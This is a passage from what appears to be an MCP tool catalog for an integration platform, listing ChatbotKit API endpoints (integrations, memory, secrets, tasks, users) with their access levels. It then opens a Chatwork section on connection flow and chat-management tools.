chatbotkit_post_integration_email_by_emailintegrationid_update (write) — Update a Email integration via POST /integration/email/{emailIntegrationId}/update POST /api/v1/chatbotkit/integration/email/{emailIntegrationId}/update. Scopes: api. chatbotkit_post_integration_email_create (write) — Create Email integration via POST /integration/email/create POST /api/v1/chatbotkit/integration/email/create. Scopes: api. chatbotkit_post_integration_extract_by_extractintegrationid_delete (write, destructive) — Delete Extract integration via POST /integration/extract/{extractIntegrationId}/delete POST /api/v1/chatbotkit/integration/extract/{extractIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_extract_by_extractintegrationid_trigger (write) — Trigger extract integration on historic conversations via POST /integration/extract/{extractIntegrationId}/trigger POST /api/v1/chatbotkit/integration/extract/{extractIntegrationId}/trigger. Scopes: api. chatbotkit_post_integration_extract_by_extractintegrationid_update (write) — Update a Extract integration via POST /integration/extract/{extractIntegrationId}/update POST /api/v1/chatbotkit/integration/extract/{extractIntegrationId}/update. Scopes: api. chatbotkit_post_integration_extract_create (write) — Create Extract integration via POST /integration/extract/create POST /api/v1/chatbotkit/integration/extract/create. Scopes: api. chatbotkit_post_integration_github_by_githubintegrationid_delete (write, destructive) — Delete GitHub integration via POST /integration/github/{githubIntegrationId}/delete POST /api/v1/chatbotkit/integration/github/{githubIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_github_by_githubintegrationid_setup (write) — Validate a GitHub integration's App credentials via POST /integration/github/{githubIntegrationId}/setup POST /api/v1/chatbotkit/integration/github/{githubIntegrationId}/setup. Scopes: api. chatbotkit_post_integration_github_by_githubintegrationid_update (write) — Update a GitHub integration via POST /integration/github/{githubIntegrationId}/update POST /api/v1/chatbotkit/integration/github/{githubIntegrationId}/update. Scopes: api. chatbotkit_post_integration_github_create (write) — Create GitHub integration via POST /integration/github/create POST /api/v1/chatbotkit/integration/github/create. Scopes: api. chatbotkit_post_integration_googlechat_by_googlechatintegrationid_delete (write, destructive) — Delete Google Chat integration via POST /integration/googlechat/{googlechatIntegrationId}/delete POST /api/v1/chatbotkit/integration/googlechat/{googlechatIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_googlechat_by_googlechatintegrationid_initiate (write) — Initiates conversation with the googlechat integration via POST /integration/googlechat/{googlechatIntegrationId}/initiate POST /api/v1/chatbotkit/integration/googlechat/{googlechatIntegrationId}/initiate. Scopes: api. chatbotkit_post_integration_googlechat_by_googlechatintegrationid_setup (write) — Setup Google Chat integration via POST /integration/googlechat/{googlechatIntegrationId}/setup POST /api/v1/chatbotkit/integration/googlechat/{googlechatIntegrationId}/setup. Scopes: api. chatbotkit_post_integration_googlechat_by_googlechatintegrationid_update (write) — Update a Google Chat integration via POST /integration/googlechat/{googlechatIntegrationId}/update POST /api/v1/chatbotkit/integration/googlechat/{googlechatIntegrationId}/update. Scopes: api. chatbotkit_post_integration_googlechat_create (write) — Create Google Chat integration via POST /integration/googlechat/create POST /api/v1/chatbotkit/integration/googlechat/create. Scopes: api. chatbotkit_post_integration_instagram_by_instagramintegrationid_delete (write, destructive) — Delete Instagram integration via POST /integration/instagram/{instagramIntegrationId}/delete POST /api/v1/chatbotkit/integration/instagram/{instagramIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_instagram_by_instagramintegrationid_initiate (write) — Initiates conversation with the instagram integration via POST /integration/instagram/{instagramIntegrationId}/initiate POST /api/v1/chatbotkit/integration/instagram/{instagramIntegrationId}/initiate. Scopes: api. chatbotkit_post_integration_instagram_by_instagramintegrationid_setup (write) — Setup an Instagram integration via POST /integration/instagram/{instagramIntegrationId}/setup POST /api/v1/chatbotkit/integration/instagram/{instagramIntegrationId}/setup. Scopes: api. chatbotkit_post_integration_instagram_by_instagramintegrationid_update (write) — Update an Instagram integration via POST /integration/instagram/{instagramIntegrationId}/update POST /api/v1/chatbotkit/integration/instagram/{instagramIntegrationId}/update. Scopes: api. chatbotkit_post_integration_instagram_create (write) — Create Instagram integration via POST /integration/instagram/create POST /api/v1/chatbotkit/integration/instagram/create. Scopes: api. chatbotkit_post_integration_mcpserver_by_mcpserverintegrationid_delete (write, destructive) — Delete McpServer integration via POST /integration/mcpserver/{mcpserverIntegrationId}/delete POST /api/v1/chatbotkit/integration/mcpserver/{mcpserverIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_mcpserver_by_mcpserverintegrationid_update (write) — Update a McpServer integration via POST /integration/mcpserver/{mcpserverIntegrationId}/update POST /api/v1/chatbotkit/integration/mcpserver/{mcpserverIntegrationId}/update. Scopes: api. chatbotkit_post_integration_mcpserver_create (write) — Create McpServer integration via POST /integration/mcpserver/create POST /api/v1/chatbotkit/integration/mcpserver/create. Scopes: api. chatbotkit_post_integration_messenger_by_messengerintegrationid_delete (write, destructive) — Delete Messenger integration via POST /integration/messenger/{messengerIntegrationId}/delete POST /api/v1/chatbotkit/integration/messenger/{messengerIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_messenger_by_messengerintegrationid_initiate (write) — Initiates conversation with the messenger integration via POST /integration/messenger/{messengerIntegrationId}/initiate POST /api/v1/chatbotkit/integration/messenger/{messengerIntegrationId}/initiate. Scopes: api. chatbotkit_post_integration_messenger_by_messengerintegrationid_setup (write) — Setup a Messenger integration via POST /integration/messenger/{messengerIntegrationId}/setup POST /api/v1/chatbotkit/integration/messenger/{messengerIntegrationId}/setup. Scopes: api. chatbotkit_post_integration_messenger_by_messengerintegrationid_update (write) — Update a Messenger integration via POST /integration/messenger/{messengerIntegrationId}/update POST /api/v1/chatbotkit/integration/messenger/{messengerIntegrationId}/update. Scopes: api. chatbotkit_post_integration_messenger_create (write) — Create Messenger integration via POST /integration/messenger/create POST /api/v1/chatbotkit/integration/messenger/create. Scopes: api. chatbotkit_post_integration_microsoftteams_by_microsoftteamsintegrationid_delete (write, destructive) — Delete a Microsoft Teams integration via POST /integration/microsoftteams/{microsoftteamsIntegrationId}/delete POST /api/v1/chatbotkit/integration/microsoftteams/{microsoftteamsIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_microsoftteams_by_microsoftteamsintegrationid_initiate (write) — Initiate a conversation with a Microsoft Teams integration via POST /integration/microsoftteams/{microsoftteamsIntegrationId}/initiate POST /api/v1/chatbotkit/integration/microsoftteams/{microsoftteamsIntegrationId}/initiate. Scopes: api. chatbotkit_post_integration_microsoftteams_by_microsoftteamsintegrationid_setup (write) — Set up a Microsoft Teams integration via POST /integration/microsoftteams/{microsoftteamsIntegrationId}/setup POST /api/v1/chatbotkit/integration/microsoftteams/{microsoftteamsIntegrationId}/setup. Scopes: api. chatbotkit_post_integration_microsoftteams_by_microsoftteamsintegrationid_update (write) — Update a Microsoft Teams integration via POST /integration/microsoftteams/{microsoftteamsIntegrationId}/update POST /api/v1/chatbotkit/integration/microsoftteams/{microsoftteamsIntegrationId}/update. Scopes: api. chatbotkit_post_integration_microsoftteams_create (write) — Create a Microsoft Teams integration via POST /integration/microsoftteams/create POST /api/v1/chatbotkit/integration/microsoftteams/create. Scopes: api. chatbotkit_post_integration_notion_by_notionintegrationid_delete (write, destructive) — Delete Notion integration via POST /integration/notion/{notionIntegrationId}/delete POST /api/v1/chatbotkit/integration/notion/{notionIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_notion_by_notionintegrationid_sync (write) — Sync Notion integration via POST /integration/notion/{notionIntegrationId}/sync POST /api/v1/chatbotkit/integration/notion/{notionIntegrationId}/sync. Scopes: api. chatbotkit_post_integration_notion_by_notionintegrationid_update (write) — Update a Notion integration via POST /integration/notion/{notionIntegrationId}/update POST /api/v1/chatbotkit/integration/notion/{notionIntegrationId}/update. Scopes: api. chatbotkit_post_integration_notion_create (write) — Create Notion integration via POST /integration/notion/create POST /api/v1/chatbotkit/integration/notion/create. Scopes: api. chatbotkit_post_integration_recall_by_recallintegrationid_initiate (write) — Initiates a meeting session with the recall integration via POST /integration/recall/{recallIntegrationId}/initiate POST /api/v1/chatbotkit/integration/recall/{recallIntegrationId}/initiate. Scopes: api. chatbotkit_post_integration_sitemap_by_sitemapintegrationid_delete (write, destructive) — Delete Sitemap integration via POST /integration/sitemap/{sitemapIntegrationId}/delete POST /api/v1/chatbotkit/integration/sitemap/{sitemapIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_sitemap_by_sitemapintegrationid_sync (write) — Sync a Sitemap integration via POST /integration/sitemap/{sitemapIntegrationId}/sync POST /api/v1/chatbotkit/integration/sitemap/{sitemapIntegrationId}/sync. Scopes: api. chatbotkit_post_integration_sitemap_by_sitemapintegrationid_update (write) — Update a Sitemap integration via POST /integration/sitemap/{sitemapIntegrationId}/update POST /api/v1/chatbotkit/integration/sitemap/{sitemapIntegrationId}/update. Scopes: api. chatbotkit_post_integration_sitemap_create (write) — Create Sitemap integration via POST /integration/sitemap/create POST /api/v1/chatbotkit/integration/sitemap/create. Scopes: api. chatbotkit_post_integration_skillserver_by_skillserverintegrationid_delete (write, destructive) — Delete SkillServer integration via POST /integration/skillserver/{skillserverIntegrationId}/delete POST /api/v1/chatbotkit/integration/skillserver/{skillserverIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_skillserver_by_skillserverintegrationid_invoke (write) — Invoke a SkillServer ability via POST /integration/skillserver/{skillserverIntegrationId}/invoke POST /api/v1/chatbotkit/integration/skillserver/{skillserverIntegrationId}/invoke. Scopes: api. chatbotkit_post_integration_skillserver_by_skillserverintegrationid_update (write) — Update a SkillServer integration via POST /integration/skillserver/{skillserverIntegrationId}/update POST /api/v1/chatbotkit/integration/skillserver/{skillserverIntegrationId}/update. Scopes: api. chatbotkit_post_integration_skillserver_create (write) — Create SkillServer integration via POST /integration/skillserver/create POST /api/v1/chatbotkit/integration/skillserver/create. Scopes: api. chatbotkit_post_integration_slack_by_slackintegrationid_delete (write, destructive) — Delete Slack integration via POST /integration/slack/{slackIntegrationId}/delete POST /api/v1/chatbotkit/integration/slack/{slackIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_slack_by_slackintegrationid_initiate (write) — Initiates conversation with the slack integration via POST /integration/slack/{slackIntegrationId}/initiate POST /api/v1/chatbotkit/integration/slack/{slackIntegrationId}/initiate. Scopes: api. chatbotkit_post_integration_slack_by_slackintegrationid_setup (write) — Setup Slack integration via POST /integration/slack/{slackIntegrationId}/setup POST /api/v1/chatbotkit/integration/slack/{slackIntegrationId}/setup. Scopes: api. chatbotkit_post_integration_slack_by_slackintegrationid_update (write) — Update a Slack integration via POST /integration/slack/{slackIntegrationId}/update POST /api/v1/chatbotkit/integration/slack/{slackIntegrationId}/update. Scopes: api. chatbotkit_post_integration_slack_create (write) — Create Slack integration via POST /integration/slack/create POST /api/v1/chatbotkit/integration/slack/create. Scopes: api. chatbotkit_post_integration_support_by_supportintegrationid_delete (write, destructive) — Delete Support integration via POST /integration/support/{supportIntegrationId}/delete POST /api/v1/chatbotkit/integration/support/{supportIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_support_by_supportintegrationid_trigger (write) — Trigger support integration on historic conversations via POST /integration/support/{supportIntegrationId}/trigger POST /api/v1/chatbotkit/integration/support/{supportIntegrationId}/trigger. Scopes: api. chatbotkit_post_integration_support_by_supportintegrationid_update (write) — Update a Support integration via POST /integration/support/{supportIntegrationId}/update POST /api/v1/chatbotkit/integration/support/{supportIntegrationId}/update. Scopes: api. chatbotkit_post_integration_support_create (write) — Create Support integration via POST /integration/support/create POST /api/v1/chatbotkit/integration/support/create. Scopes: api. chatbotkit_post_integration_telegram_by_telegramintegrationid_delete (write, destructive) — Delete Telegram integration via POST /integration/telegram/{telegramIntegrationId}/delete POST /api/v1/chatbotkit/integration/telegram/{telegramIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_telegram_by_telegramintegrationid_initiate (write) — Initiates conversation with the telegram integration via POST /integration/telegram/{telegramIntegrationId}/initiate POST /api/v1/chatbotkit/integration/telegram/{telegramIntegrationId}/initiate. Scopes: api. chatbotkit_post_integration_telegram_by_telegramintegrationid_setup (write) — Setup a Telegram integration via POST /integration/telegram/{telegramIntegrationId}/setup POST /api/v1/chatbotkit/integration/telegram/{telegramIntegrationId}/setup. Scopes: api. chatbotkit_post_integration_telegram_by_telegramintegrationid_update (write) — Update a Telegram integration via POST /integration/telegram/{telegramIntegrationId}/update POST /api/v1/chatbotkit/integration/telegram/{telegramIntegrationId}/update. Scopes: api. chatbotkit_post_integration_telegram_create (write) — Create Telegram integration via POST /integration/telegram/create POST /api/v1/chatbotkit/integration/telegram/create. Scopes: api. chatbotkit_post_integration_trigger_by_triggerintegrationid_delete (write, destructive) — Delete Trigger integration via POST /integration/trigger/{triggerIntegrationId}/delete POST /api/v1/chatbotkit/integration/trigger/{triggerIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_trigger_by_triggerintegrationid_invoke (write) — Invoke Trigger integration via POST /integration/trigger/{triggerIntegrationId}/invoke POST /api/v1/chatbotkit/integration/trigger/{triggerIntegrationId}/invoke. Scopes: api. chatbotkit_post_integration_trigger_by_triggerintegrationid_setup (write) — Setup a Trigger integration via POST /integration/trigger/{triggerIntegrationId}/setup POST /api/v1/chatbotkit/integration/trigger/{triggerIntegrationId}/setup. Scopes: api. chatbotkit_post_integration_trigger_by_triggerintegrationid_update (write) — Update a Trigger integration via POST /integration/trigger/{triggerIntegrationId}/update POST /api/v1/chatbotkit/integration/trigger/{triggerIntegrationId}/update. Scopes: api. chatbotkit_post_integration_trigger_create (write) — Create Trigger integration via POST /integration/trigger/create POST /api/v1/chatbotkit/integration/trigger/create. Scopes: api. chatbotkit_post_integration_twilio_by_twiliointegrationid_delete (write, destructive) — Delete Twilio integration via POST /integration/twilio/{twilioIntegrationId}/delete POST /api/v1/chatbotkit/integration/twilio/{twilioIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_twilio_by_twiliointegrationid_initiate (write) — Initiates conversation with the twilio integration via POST /integration/twilio/{twilioIntegrationId}/initiate POST /api/v1/chatbotkit/integration/twilio/{twilioIntegrationId}/initiate. Scopes: api. chatbotkit_post_integration_twilio_by_twiliointegrationid_setup (write) — Setup a Twilio integration via POST /integration/twilio/{twilioIntegrationId}/setup POST /api/v1/chatbotkit/integration/twilio/{twilioIntegrationId}/setup. Scopes: api. chatbotkit_post_integration_twilio_by_twiliointegrationid_update (write) — Update a Twilio integration via POST /integration/twilio/{twilioIntegrationId}/update POST /api/v1/chatbotkit/integration/twilio/{twilioIntegrationId}/update. Scopes: api. chatbotkit_post_integration_twilio_create (write) — Create Twilio integration via POST /integration/twilio/create POST /api/v1/chatbotkit/integration/twilio/create. Scopes: api. chatbotkit_post_integration_whatsapp_by_whatsappintegrationid_delete (write, destructive) — Delete WhatsApp integration via POST /integration/whatsapp/{whatsappIntegrationId}/delete POST /api/v1/chatbotkit/integration/whatsapp/{whatsappIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_whatsapp_by_whatsappintegrationid_initiate (write) — Initiates conversation with the whatsapp integration via POST /integration/whatsapp/{whatsappIntegrationId}/initiate POST /api/v1/chatbotkit/integration/whatsapp/{whatsappIntegrationId}/initiate. Scopes: api. chatbotkit_post_integration_whatsapp_by_whatsappintegrationid_setup (write) — Setup a WhatsApp integration via POST /integration/whatsapp/{whatsappIntegrationId}/setup POST /api/v1/chatbotkit/integration/whatsapp/{whatsappIntegrationId}/setup. Scopes: api. chatbotkit_post_integration_whatsapp_by_whatsappintegrationid_update (write) — Update a WhatsApp integration via POST /integration/whatsapp/{whatsappIntegrationId}/update POST /api/v1/chatbotkit/integration/whatsapp/{whatsappIntegrationId}/update. Scopes: api. chatbotkit_post_integration_whatsapp_create (write) — Create WhatsApp integration via POST /integration/whatsapp/create POST /api/v1/chatbotkit/integration/whatsapp/create. Scopes: api. chatbotkit_post_integration_widget_by_widgetintegrationid_clone (write) — Clone Widget integration via POST /integration/widget/{widgetIntegrationId}/clone POST /api/v1/chatbotkit/integration/widget/{widgetIntegrationId}/clone. Scopes: api. chatbotkit_post_integration_widget_by_widgetintegrationid_delete (write, destructive) — Delete Widget integration via POST /integration/widget/{widgetIntegrationId}/delete POST /api/v1/chatbotkit/integration/widget/{widgetIntegrationId}/delete. Scopes: api. chatbotkit_post_integration_widget_by_widgetintegrationid_file_by_fileid_attach (write) — Attach a file to a widget integration via POST /integration/widget/{widgetIntegrationId}/file/{fileId}/attach POST /api/v1/chatbotkit/integration/widget/{widgetIntegrationId}/file/{fileId}/attach. Scopes: api. chatbotkit_post_integration_widget_by_widgetintegrationid_file_by_fileid_detach (write) — Detach a file from a widget integration via POST /integration/widget/{widgetIntegrationId}/file/{fileId}/detach POST /api/v1/chatbotkit/integration/widget/{widgetIntegrationId}/file/{fileId}/detach. Scopes: api. chatbotkit_post_integration_widget_by_widgetintegrationid_setup (write) — Setup Widget integration via POST /integration/widget/{widgetIntegrationId}/setup POST /api/v1/chatbotkit/integration/widget/{widgetIntegrationId}/setup. Scopes: api. chatbotkit_post_integration_widget_by_widgetintegrationid_update (write) — Update a Widget integration via POST /integration/widget/{widgetIntegrationId}/update POST /api/v1/chatbotkit/integration/widget/{widgetIntegrationId}/update. Scopes: api. chatbotkit_post_integration_widget_create (write) — Create Widget integration via POST /integration/widget/create POST /api/v1/chatbotkit/integration/widget/create. Scopes: api. chatbotkit_post_magic_by_promptid_generate (write) — Generate text (description, records, abilities and more) based on input. via POST /magic/{promptId}/generate POST /api/v1/chatbotkit/magic/{promptId}/generate. Scopes: api. chatbotkit_post_memory_by_memoryid_delete (write, destructive) — Delete memory via POST /memory/{memoryId}/delete POST /api/v1/chatbotkit/memory/{memoryId}/delete. Scopes: api. chatbotkit_post_memory_by_memoryid_update (write) — Update memory via POST /memory/{memoryId}/update POST /api/v1/chatbotkit/memory/{memoryId}/update. Scopes: api. chatbotkit_post_memory_create (write) — Create a new memory via POST /memory/create POST /api/v1/chatbotkit/memory/create. Scopes: api. chatbotkit_post_memory_search (write) — Search memories for records matching a given search query via POST /memory/search POST /api/v1/chatbotkit/memory/search. Scopes: api. chatbotkit_post_platform_ability_search (write) — Search platform abilities using semantic similarity via POST /platform/ability/search POST /api/v1/chatbotkit/platform/ability/search. Scopes: api. chatbotkit_post_platform_doc_search (write) — Search platform docs using semantic similarity via POST /platform/doc/search POST /api/v1/chatbotkit/platform/doc/search. Scopes: api. chatbotkit_post_platform_example_by_exampleid_clone (write) — Clone a platform example via POST /platform/example/{exampleId}/clone POST /api/v1/chatbotkit/platform/example/{exampleId}/clone. Scopes: api. chatbotkit_post_platform_example_search (write) — Search platform examples using semantic similarity via POST /platform/example/search POST /api/v1/chatbotkit/platform/example/search. Scopes: api. chatbotkit_post_platform_manual_search (write) — Search platform manuals using semantic similarity via POST /platform/manual/search POST /api/v1/chatbotkit/platform/manual/search. Scopes: api. chatbotkit_post_platform_report_by_reportid_generate (write) — Generate a specific report via POST /platform/report/{reportId}/generate POST /api/v1/chatbotkit/platform/report/{reportId}/generate. Scopes: api. chatbotkit_post_platform_report_generate (write) — Generate multiple reports via POST /platform/report/generate POST /api/v1/chatbotkit/platform/report/generate. Scopes: api. chatbotkit_post_platform_secret_search (write) — Search platform secrets using semantic similarity via POST /platform/secret/search POST /api/v1/chatbotkit/platform/secret/search. Scopes: api. chatbotkit_post_policy_by_policyid_delete (write, destructive) — Delete policy via POST /policy/{policyId}/delete POST /api/v1/chatbotkit/policy/{policyId}/delete. Scopes: api. chatbotkit_post_policy_by_policyid_update (write) — Update policy via POST /policy/{policyId}/update POST /api/v1/chatbotkit/policy/{policyId}/update. Scopes: api. chatbotkit_post_policy_create (write) — Create policy via POST /policy/create POST /api/v1/chatbotkit/policy/create. Scopes: api. chatbotkit_post_portal_by_portalid_delete (write, destructive) — Delete a portal via POST /portal/{portalId}/delete POST /api/v1/chatbotkit/portal/{portalId}/delete. Scopes: api. chatbotkit_post_portal_by_portalid_update (write) — Update portal via POST /portal/{portalId}/update POST /api/v1/chatbotkit/portal/{portalId}/update. Scopes: api. chatbotkit_post_portal_create (write) — Create portal via POST /portal/create POST /api/v1/chatbotkit/portal/create. Scopes: api. chatbotkit_post_secret_by_secretid_authenticate (write) — Authenticate secret via POST /secret/{secretId}/authenticate POST /api/v1/chatbotkit/secret/{secretId}/authenticate. Scopes: api. chatbotkit_post_secret_by_secretid_delete (write, destructive) — Delete a secret via POST /secret/{secretId}/delete POST /api/v1/chatbotkit/secret/{secretId}/delete. Scopes: api. chatbotkit_post_secret_by_secretid_mint (write) — Mint a secret for a token via POST /secret/{secretId}/mint POST /api/v1/chatbotkit/secret/{secretId}/mint. Scopes: api. chatbotkit_post_secret_by_secretid_proxy (write) — Proxy a request with a secret via POST /secret/{secretId}/proxy POST /api/v1/chatbotkit/secret/{secretId}/proxy. Scopes: api. chatbotkit_post_secret_by_secretid_revoke (write, destructive) — Revoke secret via POST /secret/{secretId}/revoke POST /api/v1/chatbotkit/secret/{secretId}/revoke. Scopes: api. chatbotkit_post_secret_by_secretid_update (write) — Update secret via POST /secret/{secretId}/update POST /api/v1/chatbotkit/secret/{secretId}/update. Scopes: api. chatbotkit_post_secret_by_secretid_verify (write) — Verify secret via POST /secret/{secretId}/verify POST /api/v1/chatbotkit/secret/{secretId}/verify. Scopes: api. chatbotkit_post_secret_create (write) — Create secret via POST /secret/create POST /api/v1/chatbotkit/secret/create. Scopes: api. chatbotkit_post_skillset_by_skillsetid_ability_by_abilityid_delete (write, destructive) — Delete a ability from a skillset via POST /skillset/{skillsetId}/ability/{abilityId}/delete POST /api/v1/chatbotkit/skillset/{skillsetId}/ability/{abilityId}/delete. Scopes: api. chatbotkit_post_skillset_by_skillsetid_ability_by_abilityid_execute (write) — Execute a skillset ability via POST /skillset/{skillsetId}/ability/{abilityId}/execute POST /api/v1/chatbotkit/skillset/{skillsetId}/ability/{abilityId}/execute. Scopes: api. chatbotkit_post_skillset_by_skillsetid_ability_by_abilityid_update (write) — Update a skillset ability via POST /skillset/{skillsetId}/ability/{abilityId}/update POST /api/v1/chatbotkit/skillset/{skillsetId}/ability/{abilityId}/update. Scopes: api. chatbotkit_post_skillset_by_skillsetid_ability_create (write) — Create ability via POST /skillset/{skillsetId}/ability/create POST /api/v1/chatbotkit/skillset/{skillsetId}/ability/create. Scopes: api. chatbotkit_post_skillset_by_skillsetid_delete (write, destructive) — Delete a skillset via POST /skillset/{skillsetId}/delete POST /api/v1/chatbotkit/skillset/{skillsetId}/delete. Scopes: api. chatbotkit_post_skillset_by_skillsetid_update (write) — Update skillset via POST /skillset/{skillsetId}/update POST /api/v1/chatbotkit/skillset/{skillsetId}/update. Scopes: api. chatbotkit_post_skillset_create (write) — Create skillset via POST /skillset/create POST /api/v1/chatbotkit/skillset/create. Scopes: api. chatbotkit_post_space_by_spaceid_delete (write, destructive) — Delete a space via POST /space/{spaceId}/delete POST /api/v1/chatbotkit/space/{spaceId}/delete. Scopes: api. chatbotkit_post_space_by_spaceid_site_by_siteid_delete (write, destructive) — Delete a space site via POST /space/{spaceId}/site/{siteId}/delete POST /api/v1/chatbotkit/space/{spaceId}/site/{siteId}/delete. Scopes: api. chatbotkit_post_space_by_spaceid_site_by_siteid_update (write) — Update a space site via POST /space/{spaceId}/site/{siteId}/update POST /api/v1/chatbotkit/space/{spaceId}/site/{siteId}/update. Scopes: api. chatbotkit_post_space_by_spaceid_site_create (write) — Create a space site via POST /space/{spaceId}/site/create POST /api/v1/chatbotkit/space/{spaceId}/site/create. Scopes: api. chatbotkit_post_space_by_spaceid_storage_copy_by_path (write) — Copy a file in space storage via POST /space/{spaceId}/storage/copy/{path} POST /api/v1/chatbotkit/space/{spaceId}/storage/copy/{path}. Scopes: api. chatbotkit_post_space_by_spaceid_storage_delete_by_path (write, destructive) — Delete a file or directory from space storage via POST /space/{spaceId}/storage/delete/{path} POST /api/v1/chatbotkit/space/{spaceId}/storage/delete/{path}. Scopes: api. chatbotkit_post_space_by_spaceid_storage_move_by_path (write) — Move (rename) a file in space storage via POST /space/{spaceId}/storage/move/{path} POST /api/v1/chatbotkit/space/{spaceId}/storage/move/{path}. Scopes: api. chatbotkit_post_space_by_spaceid_storage_upload_by_path (write) — Upload a file to space storage via POST /space/{spaceId}/storage/upload/{path} POST /api/v1/chatbotkit/space/{spaceId}/storage/upload/{path}. Scopes: api. chatbotkit_post_space_by_spaceid_update (write) — Update space via POST /space/{spaceId}/update POST /api/v1/chatbotkit/space/{spaceId}/update. Scopes: api. chatbotkit_post_space_create (write) — Create space via POST /space/create POST /api/v1/chatbotkit/space/create. Scopes: api. chatbotkit_post_task_by_taskid_cancel (write) — Cancel a running task via POST /task/{taskId}/cancel POST /api/v1/chatbotkit/task/{taskId}/cancel. Scopes: api. chatbotkit_post_task_by_taskid_delete (write, destructive) — Delete task via POST /task/{taskId}/delete POST /api/v1/chatbotkit/task/{taskId}/delete. Scopes: api. chatbotkit_post_task_by_taskid_execution_by_taskexecutionid_cancel (write) — Cancel a task execution via POST /task/{taskId}/execution/{taskExecutionId}/cancel POST /api/v1/chatbotkit/task/{taskId}/execution/{taskExecutionId}/cancel. Scopes: api. chatbotkit_post_task_by_taskid_trigger (write) — Trigger a task via POST /task/{taskId}/trigger POST /api/v1/chatbotkit/task/{taskId}/trigger. Scopes: api. chatbotkit_post_task_by_taskid_update (write) — Update task via POST /task/{taskId}/update POST /api/v1/chatbotkit/task/{taskId}/update. Scopes: api. chatbotkit_post_task_create (write) — Create a new task via POST /task/create POST /api/v1/chatbotkit/task/create. Scopes: api. chatbotkit_post_user_by_userid_context_by_contextid_delete (write, destructive) — Delete a user context via POST /user/{userId}/context/{contextId}/delete POST /api/v1/chatbotkit/user/{userId}/context/{contextId}/delete. Scopes: api. chatbotkit_post_user_by_userid_context_by_contextid_update (write) — Update a user context via POST /user/{userId}/context/{contextId}/update POST /api/v1/chatbotkit/user/{userId}/context/{contextId}/update. Scopes: api. chatbotkit_post_user_by_userid_context_create (write) — Create user context via POST /user/{userId}/context/create POST /api/v1/chatbotkit/user/{userId}/context/create. Scopes: api. chatbotkit_post_user_by_userid_delete (write, destructive) — Delete a user via POST /user/{userId}/delete POST /api/v1/chatbotkit/user/{userId}/delete. Scopes: api. chatbotkit_post_user_by_userid_session_create (write) — Create a user session via POST /user/{userId}/session/create POST /api/v1/chatbotkit/user/{userId}/session/create. Scopes: api. chatbotkit_post_user_by_userid_token_by_tokenid_delete (write, destructive) — Delete a user token via POST /user/{userId}/token/{tokenId}/delete POST /api/v1/chatbotkit/user/{userId}/token/{tokenId}/delete. Scopes: api. chatbotkit_post_user_by_userid_token_by_tokenid_update (write) — Update a user token via POST /user/{userId}/token/{tokenId}/update POST /api/v1/chatbotkit/user/{userId}/token/{tokenId}/update. Scopes: api. chatbotkit_post_user_by_userid_token_create (write) — Create user token via POST /user/{userId}/token/create POST /api/v1/chatbotkit/user/{userId}/token/create. Scopes: api. chatbotkit_post_user_by_userid_update (write) — Update a user via POST /user/{userId}/update POST /api/v1/chatbotkit/user/{userId}/update. Scopes: api. chatbotkit_post_user_create (write) — Create user via POST /user/create POST /api/v1/chatbotkit/user/create. Scopes: api. ================================================================================ ## Chatwork URL: https://www.agenticfabriq.com/integrations/chatwork Section: Integrated Tools Chatwork — 31 MCP tools Provider key: chatwork. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. chatwork_delete_incoming_requests_by_request_id (write, destructive) — Decline a contact approval request. DELETE /v2/incoming_requests/{request_id}. Declines one pending contact approval request. The requester is not added as a contact. Chatwork's own wording: コンタクト承認依頼を拒否する 自分へのコンタクト承認依頼を拒否します。 DELETE /api/v1/chatwork/incoming_requests/{request_id}. Scopes: api. chatwork_delete_rooms_by_room_id (write, destructive) — Leave or delete a group chat. DELETE /v2/rooms/{room_id}. Leaves or deletes a group chat, and `action_type` decides which. Leaving deletes every task assigned to you and every file you uploaded in that chat; deleting removes the chat and all of its messages, tasks and files for every member. Both are irreversible. Chatwork's own wording: チャットを退席/削除する グループチャットを退席、または削除します。 グループチャットを退席すると、このグループチャットにある自分が担当者のタスク、および自分が送信したファイルがすべて削除されます。 グループチャットを削除すると、このグループチャットにあるメッセージ、タスク、ファイルがすべて削除されます。 (一度削除すると元に戻せません。) DELETE /api/v1/chatwork/rooms/{room_id}. Scopes: api. chatwork_delete_rooms_by_room_id_link (write, destructive) — Delete a chat's invite link. DELETE /v2/rooms/{room_id}/link. Deletes the chat's invite link, so the URL stops admitting anyone. Returns 400 if the chat has no active invite link. Chatwork's own wording: チャットへの招待リンクを削除する チャットへの招待リンクを削除します。 招待リンクが無効になっている場合は400エラーを返します。 DELETE /api/v1/chatwork/rooms/{room_id}/link. Scopes: api. chatwork_delete_rooms_by_room_id_messages_by_message_id (write, destructive) — Delete a message. DELETE /v2/rooms/{room_id}/messages/{message_id}. Deletes one message from a chat. Irreversible. Chatwork's own wording: チャットのメッセージを削除する チャットのメッセージを削除します。 DELETE /api/v1/chatwork/rooms/{room_id}/messages/{message_id}. Scopes: api. chatwork_get_contacts (read) — List your contacts. GET /v2/contacts. Returns every account in the connected account's contact list, with each contact's account id, direct-chat room id, organization and avatar. Chatwork's own wording: コンタクト一覧を取得する 自分のコンタクト一覧を取得します。 GET /api/v1/chatwork/contacts. Scopes: api. chatwork_get_incoming_requests (read) — List contact approval requests sent to you. GET /v2/incoming_requests. Returns up to 100 pending contact approval requests addressed to the connected account, each with its request id and the requesting account's profile. Chatwork's own wording: コンタクト承認依頼一覧を取得する 